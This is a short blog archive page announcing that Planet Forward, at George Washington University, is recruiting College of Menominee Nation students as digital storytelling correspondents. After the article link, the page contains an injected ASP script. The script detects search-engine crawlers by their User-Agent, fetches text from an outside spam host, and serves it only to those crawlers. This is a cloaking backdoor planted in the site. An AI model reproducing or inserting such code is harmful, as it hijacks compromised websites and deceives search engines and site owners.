Tag Archive: Digital Storytelling

Aug 21

Planet Forward at George Washington University Looks to CMN Students to Apply as Correspondents

Planet Forward is reaching out to students at College of Menominee Nation to contribute to their blog and participate in digital storytelling competitions. Planet Forward engages young people and innovators in search of solutions to the biggest challenges facing our planet. Through storytelling, media and convening, they empower new voices and elevate compelling ideas. The …

Continue reading »

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2017/08/planet-forward-at-george-washington-university-looks-to-cmn-students-to-apply-as-correspondents/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>